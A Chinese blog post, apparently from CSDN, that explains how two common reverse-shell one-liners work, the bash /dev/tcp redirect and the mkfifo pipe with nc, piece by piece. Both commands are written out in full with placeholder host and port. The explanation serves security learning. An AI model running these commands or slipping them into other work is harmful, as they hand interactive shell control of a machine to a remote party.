谈谈常用Reverse shell,以及他们是怎么做到的。


前言

平时经常会用到的几个reverse shell,有没有想过它们那么长一串是什么意思?有什么作用?来让我们看看他们是什么妖魔鬼怪。

/bin/bash -i >& /dev/tcp/ip/port 0>&1

拆分看看

/bin/bash -i

在这里插入图片描述
/bin/bash -i -i参数是表示interactive,意为可交互的shell。可交互即为一问一答,用户输入,shell执行;不可交互即为shell脚本,比如Poc.sh。如何区分?文件内输出$-查看bash所使用选项。
在这里插入图片描述
交互式 shell中输入$-查看bash所使用选项。
在这里插入图片描述

>&

在这里插入图片描述
先来回忆一下三个文件描述符:标准输入(0)、标准输出(1)、标准错误(2)。>&word&>word语义上和> word 2>&1一致,都是把标准错误和标准输出重定向到word中,只是写法不同,推荐第一种。
来看看第二种的具体含义。
在这里插入图片描述

额,看的头皮发麻。个人感觉就是解释上面的 &>>&为什么等同于> word 2>&1。首先大前提是我们不指定重定向标准输入(0)标准输出(1)标准错误(2)三个中的一个去使用>&,那么>&复制标准输出1,组成1>&.然后因为我们没有指定数字,>&这种用法就会出现重定向错误(2)2>&。根据文字描述先后顺序先复制标准输出1然后出现重定向错误2,也就是2>&1。这就解释了为什么>&等同于> word 2>&1

/dev/tcp

在这里插入图片描述
在这里插入图片描述
如果/dev/tcp/ip/port是一个有效的主机名/Internetl地址和端口/服务名称,bash会尝试打开对应的TCP套接字。

0>&1

当前目录有secret(无r权限)内容为“SECRET"和test(有r权限)内容为"TEST"的两个文件。

我想把secret内容写到content文件里该怎么办,使用`cat secret > content,因为secret没有r权限无法被打印出来并写入conten中。>默认会将标准输出重定向到某文件,所以cat secret > content等价于cat secret 1> content。
在这里插入图片描述

如果我想把无法写入content的文件原因也写进去怎么办。
cat secret > content 2>content,后面添上2>content将错误流也写入content中。
在这里插入图片描述

但是这种写法有一个问题cat secret > content 2>content,会开两个fd(文件描述符),fd之间可能会有资源竞争的问题,所以有了以&-结束的写法。这时候我们加入一个能读取的文件test。并将其一起写入content中。
在这里插入图片描述
使用&将标准输出和标准错误绑定在一起,而标准输出1本来就要被输入到content中,标准错误2和标准输出1绑定在一起都被输入到content中。

在这里插入图片描述
0>&1就是将标准输入和标准输出绑定在一起输入到前面要写入的地方。

结合起来

/bin/bash -i >& /dev/tcp/ip/port 0>&1
即为使用bash开启一个可交互的shell。
在这里插入图片描述

这个shell会通过TCP套接字将标准错误和标准输出重定向到目标。
在这里插入图片描述

目标又会通过套接字将标准输入和标准输出重定向回来替换标准输入0。
在这里插入图片描述

就是这么一个事情。

在这里插入图片描述

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ip port >/tmp/f

拆开看

rm /tmp/f

清除可能tmp原有的管道f,以及其他名字是f的文件。
在这里插入图片描述
在这里插入图片描述

mkfifo /tmp/f

在/tmp建立一个管道文件f,管道文件可以允许无关进程之间互相通信。创建完毕后通过O/I来操作,完事后要手动删除管道文件。
在这里插入图片描述

cat /tmp/f|/bin/bash -i 2>&1|nc ip port >/tmp/f

cat /tmp/f|/bin/bash -i 2>&1

将管道中的内容打印出作为/bin/bash -i 2>&1的标准输入(0)。+当前管道f内没有任何值。
在这里插入图片描述

/bin/bash -i 2>&1|nc ip port >/tmp/f

然后/bin/bash开启了一个可交互的shell,执行/tmp/f中的命令后将标准输出(1)和标准错误(2)重定向到了nc连接的主机端口中。此时反弹放处于挂起,
在这里插入图片描述
然后将我们的输入通过nc建立的通道写入f文件完成一次闭环。

结合起来

删除/tmp/f创建一个管道文件f。
在这里插入图片描述

将f文件里的值作为bash的输入,并以可交互的模式将标准错误和标准输出作为nc的输入。
在这里插入图片描述
nc连接上ip port后将前面的标准错误和标准输出通过nc传给ip port。
在这里插入图片描述
最后ip port通过nc将要执行的下一条命令覆盖写入f中。
在这里插入图片描述
然后形成闭环,是不是很简单呢。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值